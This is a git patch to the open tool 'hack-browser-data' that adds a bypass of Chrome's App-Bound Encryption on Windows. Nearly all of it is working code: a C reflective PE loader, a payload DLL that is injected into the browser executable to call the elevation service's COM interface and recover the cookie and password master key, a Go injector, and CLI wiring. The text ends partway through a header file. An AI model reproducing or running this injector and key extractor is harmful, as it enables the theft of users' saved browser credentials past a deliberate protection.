From c3d30b9e8a9d8921a493f214d675b867dfa1155c Mon Sep 17 00:00:00 2001 From: slimwang Date: Sat, 18 Apr 2026 23:25:59 +0800 Subject: [PATCH] feat(windows): Chrome App-Bound Encryption implementation (#573) * build(abe): add zig-cc payload build system + C reflective loader * feat(abe): add reflective injector and Go ABE key-retriever primitives * feat(abe): wire ABERetriever into DefaultRetriever chain + --abe-key CLI * feat(abe): route Chromium v20 ciphertext through AES-GCM with ABE key --- .gitignore | 8 + Makefile | 17 ++ browser/browser_windows.go | 5 + browser/chromium/decrypt.go | 3 +- browser/chromium/decrypt_test.go | 9 - cmd/hack-browser-data/dump.go | 11 + crypto/abe_embed_windows.go | 25 ++ crypto/abe_stub_other.go | 7 + crypto/abe_stub_windows.go | 12 + crypto/abe_windows.go | 46 +++ crypto/keyretriever/abe_windows.go | 98 +++++++ crypto/keyretriever/keyretriever_windows.go | 3 +- crypto/windows/abe_native/Makefile.frag | 41 +++ crypto/windows/abe_native/abe_extractor.c | 174 +++++++++++ crypto/windows/abe_native/bootstrap.c | 191 ++++++++++++ crypto/windows/abe_native/bootstrap.h | 59 ++++ crypto/windows/abe_native/com_iid.c | 121 ++++++++ crypto/windows/abe_native/com_iid.h | 29 ++ types/category.go | 2 +- utils/browserutil/path_windows.go | 116 ++++++++ utils/injector/arch_windows.go | 32 ++ utils/injector/pe_windows.go | 173 +++++++++++ utils/injector/reflective_windows.go | 308 ++++++++++++++++++++ utils/injector/strategy.go | 5 + 24 files changed, 1481 insertions(+), 14 deletions(-) create mode 100644 Makefile create mode 100644 crypto/abe_embed_windows.go create mode 100644 crypto/abe_stub_other.go create mode 100644 crypto/abe_stub_windows.go create mode 100644 crypto/abe_windows.go create mode 100644 crypto/keyretriever/abe_windows.go create mode 100644 crypto/windows/abe_native/Makefile.frag create mode 100644 crypto/windows/abe_native/abe_extractor.c create mode 100644 crypto/windows/abe_native/bootstrap.c create mode 100644 crypto/windows/abe_native/bootstrap.h create mode 100644 crypto/windows/abe_native/com_iid.c create mode 100644 crypto/windows/abe_native/com_iid.h create mode 100644 utils/browserutil/path_windows.go create mode 100644 utils/injector/arch_windows.go create mode 100644 utils/injector/pe_windows.go create mode 100644 utils/injector/reflective_windows.go create mode 100644 utils/injector/strategy.go diff --git a/.gitignore b/.gitignore index 68a168a..cccc385 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,14 @@ !go.mod !go.sum +# === Native (C) source for embedded ABE payload === +# Only source files are tracked; compiled binaries (*.bin) are +# intentionally ignored and rebuilt by CI via `make payload`. +!*.c +!*.h +!Makefile +!Makefile.frag + # === Project root config === !.gitattributes !.gitignore diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..12f2849 --- /dev/null +++ b/Makefile @@ -0,0 +1,17 @@ +GO ?= go +GOEXE ?= hack-browser-data + +include crypto/windows/abe_native/Makefile.frag + +.PHONY: build build-windows clean + +build: + $(GO) build -o $(GOEXE) ./cmd/hack-browser-data + +build-windows: $(ABE_BIN) + GOOS=windows GOARCH=amd64 CGO_ENABLED=0 \ + $(GO) build -tags abe_embed -trimpath -ldflags="-s -w" \ + -o $(GOEXE).exe ./cmd/hack-browser-data + +clean: payload-clean + rm -f $(GOEXE) $(GOEXE).exe diff --git a/browser/browser_windows.go b/browser/browser_windows.go index 2c550d8..f018c77 100644 --- a/browser/browser_windows.go +++ b/browser/browser_windows.go @@ -13,12 +13,14 @@ func platformBrowsers() []types.BrowserConfig { Key: "chrome", Name: chromeName, Kind: types.Chromium, + Storage: "chrome", UserDataDir: homeDir + "/AppData/Local/Google/Chrome/User Data", }, { Key: "edge", Name: edgeName, Kind: types.Chromium, + Storage: "edge", UserDataDir: homeDir + "/AppData/Local/Microsoft/Edge/User Data", }, { @@ -31,6 +33,7 @@ func platformBrowsers() []types.BrowserConfig { Key: "chrome-beta", Name: chromeBetaName, Kind: types.Chromium, + Storage: "chrome-beta", UserDataDir: homeDir + "/AppData/Local/Google/Chrome Beta/User Data", }, { @@ -55,12 +58,14 @@ func platformBrowsers() []types.BrowserConfig { Key: "coccoc", Name: coccocName, Kind: types.Chromium, + Storage: "coccoc", UserDataDir: homeDir + "/AppData/Local/CocCoc/Browser/User Data", }, { Key: "brave", Name: braveName, Kind: types.Chromium, + Storage: "brave", UserDataDir: homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data", }, { diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go index d8262b6..ed3495b 100644 --- a/browser/chromium/decrypt.go +++ b/browser/chromium/decrypt.go @@ -20,8 +20,7 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) { // v11 is Linux-only and shares v10's AES-CBC path; only the key source differs. return crypto.DecryptChromium(masterKey, ciphertext) case crypto.CipherV20: - // TODO: implement App-Bound Encryption (Chrome 127+) - return nil, fmt.Errorf("v20 App-Bound Encryption not yet supported") + return crypto.DecryptChromium(masterKey, ciphertext) case crypto.CipherDPAPI: return crypto.DecryptDPAPI(ciphertext) default: diff --git a/browser/chromium/decrypt_test.go b/browser/chromium/decrypt_test.go index 08efca8..f154f48 100644 --- a/browser/chromium/decrypt_test.go +++ b/browser/chromium/decrypt_test.go @@ -63,12 +63,3 @@ func TestDecryptValue_V11(t *testing.T) { require.NoError(t, err) assert.Equal(t, plaintext, got) } - -func TestDecryptValue_V20(t *testing.T) { - // v20 App-Bound Encryption is not yet implemented. - // TODO: add successful decryption cases when implemented. - ciphertext := append([]byte("v20"), make([]byte, 32)...) - _, err := decryptValue(nil, ciphertext) - require.Error(t, err) - assert.Contains(t, err.Error(), "v20") -} diff --git a/cmd/hack-browser-data/dump.go b/cmd/hack-browser-data/dump.go index b429e67..8bb6000 100644 --- a/cmd/hack-browser-data/dump.go +++ b/cmd/hack-browser-data/dump.go @@ -8,6 +8,7 @@ import ( "github.com/spf13/cobra" "github.com/moond4rk/hackbrowserdata/browser" + "github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/output" "github.com/moond4rk/hackbrowserdata/types" @@ -22,6 +23,7 @@ func dumpCmd() *cobra.Command { outputDir string profilePath string keychainPw string + abeKey string compress bool ) @@ -34,6 +36,12 @@ func dumpCmd() *cobra.Command { hack-browser-data dump -f cookie-editor hack-browser-data dump --zip`, RunE: func(cmd *cobra.Command, args []string) error { + if abeKey != "" { + if err := crypto.SetABEMasterKeyFromHex(abeKey); err != nil { + return fmt.Errorf("--abe-key: %w", err) + } + } + browsers, err := browser.PickBrowsers(browser.PickOptions{ Name: browserName, ProfilePath: profilePath, @@ -86,6 +94,9 @@ func dumpCmd() *cobra.Command { cmd.Flags().StringVarP(&outputDir, "dir", "d", "results", "output directory") cmd.Flags().StringVarP(&profilePath, "profile-path", "p", "", "custom profile dir path, get with chrome://version") cmd.Flags().StringVar(&keychainPw, "keychain-pw", "", "macOS keychain password") + cmd.Flags().StringVarP(&abeKey, "abe-key", "k", "", + "Windows only: pre-decrypted Chrome ABE master key (64 hex chars / 32 bytes). "+ + "When set, skips the in-process elevation_service injection.") cmd.Flags().BoolVar(&compress, "zip", false, "compress output to zip") return cmd diff --git a/crypto/abe_embed_windows.go b/crypto/abe_embed_windows.go new file mode 100644 index 0000000..3d23bd0 --- /dev/null +++ b/crypto/abe_embed_windows.go @@ -0,0 +1,25 @@ +//go:build windows && abe_embed + +package crypto + +import ( + _ "embed" + "fmt" +) + +//go:generate make -C ../.. payload + +//go:embed abe_extractor_amd64.bin +var abePayloadAmd64 []byte + +func getPayloadForArch(arch string) ([]byte, error) { + switch arch { + case "amd64": + if len(abePayloadAmd64) == 0 { + return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)") + } + return abePayloadAmd64, nil + default: + return nil, fmt.Errorf("abe: arch %q not supported in this build", arch) + } +} diff --git a/crypto/abe_stub_other.go b/crypto/abe_stub_other.go new file mode 100644 index 0000000..20c3662 --- /dev/null +++ b/crypto/abe_stub_other.go @@ -0,0 +1,7 @@ +//go:build !windows + +package crypto + +func SetABEMasterKeyFromHex(_ string) error { return nil } + +func GetABEMasterKey() []byte { return nil } diff --git a/crypto/abe_stub_windows.go b/crypto/abe_stub_windows.go new file mode 100644 index 0000000..127a4a7 --- /dev/null +++ b/crypto/abe_stub_windows.go @@ -0,0 +1,12 @@ +//go:build windows && !abe_embed + +package crypto + +import "fmt" + +func getPayloadForArch(arch string) ([]byte, error) { + return nil, fmt.Errorf( + "abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)", + arch, + ) +} diff --git a/crypto/abe_windows.go b/crypto/abe_windows.go new file mode 100644 index 0000000..e8cdbb6 --- /dev/null +++ b/crypto/abe_windows.go @@ -0,0 +1,46 @@ +//go:build windows + +package crypto + +import ( + "encoding/hex" + "fmt" + "sync" +) + +var ( + abeCLIKeyMu sync.RWMutex + abeCLIKey []byte +) + +func SetABEMasterKeyFromHex(hexKey string) error { + if hexKey == "" { + return fmt.Errorf("abe: empty hex key") + } + b, err := hex.DecodeString(hexKey) + if err != nil { + return fmt.Errorf("abe: decode hex key: %w", err) + } + if len(b) != 32 { + return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b)) + } + abeCLIKeyMu.Lock() + abeCLIKey = b + abeCLIKeyMu.Unlock() + return nil +} + +func GetABEMasterKey() []byte { + abeCLIKeyMu.RLock() + defer abeCLIKeyMu.RUnlock() + if len(abeCLIKey) == 0 { + return nil + } + out := make([]byte, len(abeCLIKey)) + copy(out, abeCLIKey) + return out +} + +func ABEPayload(arch string) ([]byte, error) { + return getPayloadForArch(arch) +} diff --git a/crypto/keyretriever/abe_windows.go b/crypto/keyretriever/abe_windows.go new file mode 100644 index 0000000..cde9770 --- /dev/null +++ b/crypto/keyretriever/abe_windows.go @@ -0,0 +1,98 @@ +//go:build windows + +package keyretriever + +import ( + "encoding/base64" + "errors" + "fmt" + "os" + "strings" + + "github.com/tidwall/gjson" + + "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/utils/browserutil" + "github.com/moond4rk/hackbrowserdata/utils/injector" +) + +const envEncKeyB64 = "HBD_ABE_ENC_B64" + +var appbPrefix = []byte{'A', 'P', 'P', 'B'} + +var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key") + +type ABERetriever struct{} + +func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) { + browserKey := strings.TrimSpace(storage) + if browserKey == "" { + return nil, fmt.Errorf("abe: empty browser key in storage parameter") + } + + encKey, err := loadEncryptedKey(localStatePath) + if err != nil { + return nil, err + } + + if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 { + log.Debugf("abe: using --abe-key for %s", browserKey) + return cliKey, nil + } + + payload, err := crypto.ABEPayload("amd64") + if err != nil { + return nil, fmt.Errorf("abe: %w", err) + } + + exePath, err := browserutil.ExecutablePath(browserKey) + if err != nil { + return nil, fmt.Errorf("abe: %w", err) + } + + env := map[string]string{ + envEncKeyB64: base64.StdEncoding.EncodeToString(encKey), + } + + inj := &injector.Reflective{} + key, err := inj.Inject(exePath, payload, env) + if err != nil { + return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err) + } + if len(key) != 32 { + return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key)) + } + log.Debugf("abe: retrieved %s master key via reflective injection", browserKey) + return key, nil +} + +func loadEncryptedKey(localStatePath string) ([]byte, error) { + if localStatePath == "" { + return nil, errNoABEKey + } + data, err := os.ReadFile(localStatePath) + if err != nil { + return nil, fmt.Errorf("abe: read Local State: %w", err) + } + + raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key") + if !raw.Exists() { + return nil, errNoABEKey + } + + decoded, err := base64.StdEncoding.DecodeString(raw.String()) + if err != nil { + return nil, fmt.Errorf("abe: base64 decode: %w", err) + } + if len(decoded) <= len(appbPrefix) { + return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded)) + } + for i, b := range appbPrefix { + if decoded[i] != b { + return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q", + decoded[:len(appbPrefix)], appbPrefix) + } + } + return decoded[len(appbPrefix):], nil +} diff --git a/crypto/keyretriever/keyretriever_windows.go b/crypto/keyretriever/keyretriever_windows.go index be7581c..d5a940a 100644 --- a/crypto/keyretriever/keyretriever_windows.go +++ b/crypto/keyretriever/keyretriever_windows.go @@ -48,7 +48,6 @@ func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) { return masterKey, nil } -// DefaultRetriever returns the Windows retriever (DPAPI only). func DefaultRetriever() KeyRetriever { - return &DPAPIRetriever{} + return NewChain(&ABERetriever{}, &DPAPIRetriever{}) } diff --git a/crypto/windows/abe_native/Makefile.frag b/crypto/windows/abe_native/Makefile.frag new file mode 100644 index 0000000..b3f3533 --- /dev/null +++ b/crypto/windows/abe_native/Makefile.frag @@ -0,0 +1,41 @@ +ZIG ?= zig +ABE_ARCH ?= amd64 +ABE_TARGET ?= x86_64-windows-gnu + +ABE_SRC_DIR = crypto/windows/abe_native +ABE_BIN_DIR = crypto +ABE_BIN = $(ABE_BIN_DIR)/abe_extractor_$(ABE_ARCH).bin + +ABE_CFLAGS = -shared -s -O2 \ + -fno-stack-protector -fno-builtin \ + -I$(ABE_SRC_DIR) +ABE_LDFLAGS = -Wl,--subsystem,windows +ABE_LDLIBS = -lole32 -loleaut32 -lcrypt32 + +ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \ + $(ABE_SRC_DIR)/com_iid.c \ + $(ABE_SRC_DIR)/bootstrap.c + +ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \ + $(ABE_SRC_DIR)/bootstrap.h + +$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS) + @mkdir -p $(ABE_BIN_DIR) + $(ZIG) cc -target $(ABE_TARGET) $(ABE_CFLAGS) $(ABE_LDFLAGS) \ + $(ABE_C_SRCS) -o $@ $(ABE_LDLIBS) + @printf "built %s (%s bytes)\n" "$@" "$$(wc -c < $@ | tr -d ' ')" + +.PHONY: payload payload-verify payload-clean + +payload: $(ABE_BIN) + +payload-verify: $(ABE_BIN) + @if strings -a "$(ABE_BIN)" | grep -qx "Bootstrap"; then \ + echo "OK: Bootstrap export name present"; \ + else \ + echo "FAIL: Bootstrap not found in $(ABE_BIN)"; \ + exit 1; \ + fi + +payload-clean: + rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin diff --git a/crypto/windows/abe_native/abe_extractor.c b/crypto/windows/abe_native/abe_extractor.c new file mode 100644 index 0000000..55501bc --- /dev/null +++ b/crypto/windows/abe_native/abe_extractor.c @@ -0,0 +1,174 @@ +// SPDX-License-Identifier: Apache-2.0 + +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include + +#include "bootstrap.h" +#include "com_iid.h" + +#define ENV_ENC_B64 "HBD_ABE_ENC_B64" +#define ENV_ENC_MAX 8192 + +static void DoExtractKey(BYTE *imageBase); +static BOOL GetOwnExeBasename(char *buf, DWORD bufsize); +static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len); +static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex, + const BSTR bstrEnc, BSTR *pOut, DWORD *pErr); + +BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) +{ + if (dwReason == DLL_PROCESS_ATTACH) { + DisableThreadLibraryCalls(hInstance); + if (lpReserved != NULL) { + DoExtractKey((BYTE *)lpReserved); + } + } + return TRUE; +} + +static void DoExtractKey(BYTE *imageBase) +{ + HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); + BOOL weInited = SUCCEEDED(hr); + + char exeBasename[MAX_PATH]; + if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) { + goto cleanup_com; + } + + const BrowserComIds *ids = LookupBrowserByExe(exeBasename); + if (!ids) { + goto cleanup_com; + } + + char envEnc[ENV_ENC_MAX]; + DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX); + if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) { + goto cleanup_com; + } + + BYTE encKey[ENV_ENC_MAX]; + DWORD encKeyLen = ENV_ENC_MAX; + if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) { + goto cleanup_com; + } + + BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen); + SecureZeroMemory(encKey, ENV_ENC_MAX); + SecureZeroMemory(envEnc, ENV_ENC_MAX); + if (!bstrEnc) { + goto cleanup_com; + } + + // IElevator2 is Chrome 144+; older vendors only implement v1. + IUnknown *pObj = NULL; + if (ids->has_iid_v2) { + hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER, + &ids->iid_v2, (void **)&pObj); + if (FAILED(hr)) { + pObj = NULL; + } + } + if (!pObj) { + hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER, + &ids->iid_v1, (void **)&pObj); + if (FAILED(hr)) { + pObj = NULL; + } + } + if (!pObj) { + goto free_enc; + } + + CoSetProxyBlanket(pObj, + RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, EOAC_DYNAMIC_CLOAKING); + + BSTR bstrPlain = NULL; + DWORD comErr = 0; + hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind), + bstrEnc, &bstrPlain, &comErr); + pObj->lpVtbl->Release(pObj); + + if (SUCCEEDED(hr) && bstrPlain) { + UINT plainLen = SysStringByteLen(bstrPlain); + if (plainLen == BOOTSTRAP_KEY_LEN) { + // Write key before status; Go reads key only after status==READY. + for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) { + imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i]; + } + MemoryBarrier(); + imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY; + } + SecureZeroMemory(bstrPlain, plainLen); + SysFreeString(bstrPlain); + } + +free_enc: + SysFreeString(bstrEnc); + +cleanup_com: + if (weInited) { + CoUninitialize(); + } +} + +static BOOL GetOwnExeBasename(char *buf, DWORD bufsize) +{ + char path[MAX_PATH]; + DWORD n = GetModuleFileNameA(NULL, path, MAX_PATH); + if (n == 0 || n >= MAX_PATH) { + return FALSE; + } + + const char *base = path; + for (DWORD i = 0; i < n; ++i) { + if (path[i] == '\\' || path[i] == '/') { + base = path + i + 1; + } + } + + DWORD j = 0; + while (*base && j + 1 < bufsize) { + char c = *base++; + if (c >= 'A' && c <= 'Z') { + c = (char)(c - 'A' + 'a'); + } + buf[j++] = c; + } + buf[j] = '\0'; + return j > 0; +} + +static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len) +{ + DWORD flags = 0; + DWORD skip = 0; + return CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, + out_buf, out_len, &skip, &flags); +} + +// Slot-based vtable dispatch lets us avoid declaring each vendor's full +// C++ interface in C. Slots (5/8/13) are set per-vendor in com_iid.c. +static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex, + const BSTR bstrEnc, BSTR *pOut, DWORD *pErr) +{ + typedef HRESULT(STDMETHODCALLTYPE *DecryptDataFn)( + void *This, const BSTR, BSTR *, DWORD *); + + if (!pObj || vtblIndex == 0) { + return E_INVALIDARG; + } + void **vtbl = (void **)pObj->lpVtbl; + DecryptDataFn fn = (DecryptDataFn)vtbl[vtblIndex]; + if (!fn) { + return E_POINTER; + } + return fn(pObj, bstrEnc, pOut, pErr); +} diff --git a/crypto/windows/abe_native/bootstrap.c b/crypto/windows/abe_native/bootstrap.c new file mode 100644 index 0000000..cdae29a --- /dev/null +++ b/crypto/windows/abe_native/bootstrap.c @@ -0,0 +1,191 @@ +// SPDX-License-Identifier: Apache-2.0 + +#define WIN32_LEAN_AND_MEAN +#include +#include + +#include "bootstrap.h" + +typedef HMODULE (WINAPI *pfn_LoadLibraryA)(LPCSTR); +typedef FARPROC (WINAPI *pfn_GetProcAddress)(HMODULE, LPCSTR); +typedef LPVOID (WINAPI *pfn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); +typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); +typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG); +typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID); + +#define MARK(imgBase, step) do { \ + *(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \ +} while (0) + +// noinline is load-bearing: if this gets inlined into Bootstrap, +// __builtin_return_address(0) returns the thread stub (ntdll) instead +// of an address inside our payload — the backward MZ scan would then +// walk the wrong module and crash. +static __attribute__((noinline)) ULONG_PTR get_caller_ip(void) +{ + return (ULONG_PTR)__builtin_return_address(0); +} + +__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) +{ + ULONG_PTR imageBase = get_caller_ip(); + while (imageBase > 0) { + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase; + if (dos->e_magic == IMAGE_DOS_SIGNATURE) { + LONG lfanew = dos->e_lfanew; + if (lfanew > 0 && lfanew < 0x1000) { + PIMAGE_NT_HEADERS64 nt = + (PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew); + if (nt->Signature == IMAGE_NT_SIGNATURE) break; + } + } + imageBase--; + } + if (imageBase == 0) return 0; + MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND); + + pfn_LoadLibraryA pLoadLibraryA = + *(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET); + pfn_GetProcAddress pGetProcAddress = + *(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET); + pfn_VirtualAlloc pVirtualAlloc = + *(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET); + pfn_VirtualProtect pVirtualProtect = + *(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET); + pfn_NtFlushInstructionCache pNtFlushIC = + *(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET); + + if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || + !pVirtualProtect || !pNtFlushIC) { + MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS); + return 0; + } + MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK); + + PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase; + PIMAGE_NT_HEADERS64 oldNt = + (PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew); + SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage; + + BYTE *newBase = (BYTE *)pVirtualAlloc( + NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!newBase) { + MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC); + return 0; + } + MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK); + + BYTE *headerSrc = (BYTE *)imageBase; + DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders; + for (DWORD i = 0; i < headerSize; i++) { + newBase[i] = headerSrc[i]; + } + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt); + for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) { + BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData; + BYTE *sDst = newBase + sec[i].VirtualAddress; + DWORD raw = sec[i].SizeOfRawData; + for (DWORD j = 0; j < raw; j++) { + sDst[j] = sSrc[j]; + } + } + MARK(imageBase, BOOTSTRAP_MARK_COPIED); + + PIMAGE_NT_HEADERS64 newNt = + (PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew); + + LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase; + DWORD relocSize = newNt->OptionalHeader + .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + DWORD relocRva = newNt->OptionalHeader + .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + if (delta != 0 && relocSize > 0 && relocRva > 0) { + PIMAGE_BASE_RELOCATION reloc = + (PIMAGE_BASE_RELOCATION)(newBase + relocRva); + DWORD consumed = 0; + while (reloc->VirtualAddress && consumed < relocSize) { + DWORD count = + (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD *entries = + (WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION)); + for (DWORD j = 0; j < count; j++) { + WORD type = entries[j] >> 12; + WORD offset = entries[j] & 0x0FFF; + if (type == IMAGE_REL_BASED_DIR64) { + ULONG_PTR *target = (ULONG_PTR *)(newBase + + reloc->VirtualAddress + offset); + *target += (ULONG_PTR)delta; + } + } + consumed += reloc->SizeOfBlock; + reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock); + } + } + MARK(imageBase, BOOTSTRAP_MARK_RELOCATED); + + DWORD impSize = newNt->OptionalHeader + .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; + DWORD impRva = newNt->OptionalHeader + .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + if (impSize > 0 && impRva > 0) { + PIMAGE_IMPORT_DESCRIPTOR imp = + (PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva); + while (imp->Name) { + const char *modName = (const char *)(newBase + imp->Name); + HMODULE hMod = pLoadLibraryA(modName); + if (hMod) { + DWORD origRva = imp->OriginalFirstThunk + ? imp->OriginalFirstThunk : imp->FirstThunk; + PIMAGE_THUNK_DATA origThunk = + (PIMAGE_THUNK_DATA)(newBase + origRva); + PIMAGE_THUNK_DATA thunk = + (PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk); + while (origThunk->u1.AddressOfData) { + FARPROC fn; + if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) { + fn = pGetProcAddress(hMod, + (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF)); + } else { + PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME) + (newBase + origThunk->u1.AddressOfData); + fn = pGetProcAddress(hMod, ibn->Name); + } + thunk->u1.Function = (ULONG_PTR)fn; + origThunk++; + thunk++; + } + } + imp++; + } + } + MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED); + + sec = IMAGE_FIRST_SECTION(newNt); + for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) { + DWORD newProtect = PAGE_READONLY; + DWORD ch = sec[i].Characteristics; + if (ch & IMAGE_SCN_MEM_EXECUTE) { + newProtect = (ch & IMAGE_SCN_MEM_WRITE) + ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ; + } else if (ch & IMAGE_SCN_MEM_WRITE) { + newProtect = PAGE_READWRITE; + } + DWORD oldProtect = 0; + pVirtualProtect(newBase + sec[i].VirtualAddress, + sec[i].Misc.VirtualSize, + newProtect, &oldProtect); + } + MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS); + + pNtFlushIC((HANDLE)-1, NULL, 0); + MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED); + + // lpReserved carries the original raw-image base so DllMain can write + // the decrypted key back into the scratch region the Go injector reads. + pfn_DllMain pDllMain = + (pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint); + pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase); + + MARK(imageBase, BOOTSTRAP_MARK_DONE); + return (ULONG_PTR)newBase; +} diff --git a/crypto/windows/abe_native/bootstrap.h b/crypto/windows/abe_native/bootstrap.h new file mode 100644 index 0000000..37446aa --- /dev/null +++ b/crypto/windows/abe_native/bootstrap.h @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: Apache-2.0 + +#ifndef HBD_ABE_BOOTSTRAP_H +#define HBD_ABE_BOOTSTRAP_H + +#define WIN32_LEAN_AND_MEAN +#include + +// Scratch layout inside imageBase (the raw-file payload region in the +// target process). Shared contract with the Go injector — keep the +// offsets and meanings in sync with utils/injector/reflective_windows.go. +// +// 0x28 step marker (written by Bootstrap) +// 0x29 key status (0x01 = ready, written by DllMain) +// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers +// post-DllMain : 32-byte master key at 0x40..0x5F +// +// Windows' PE loader ignores the DOS stub region (0x40..0x77), and +// Bootstrap only reads the imports once at function start, so DllMain +// can safely overwrite 0x40..0x5F with the key afterwards. + +#define BOOTSTRAP_MARKER_OFFSET 0x28 + +#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29 +#define BOOTSTRAP_KEY_STATUS_READY 0x01 + +#define BOOTSTRAP_KEY_OFFSET 0x40 +#define BOOTSTRAP_KEY_LEN 32 + +#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40 +#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48 +#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50 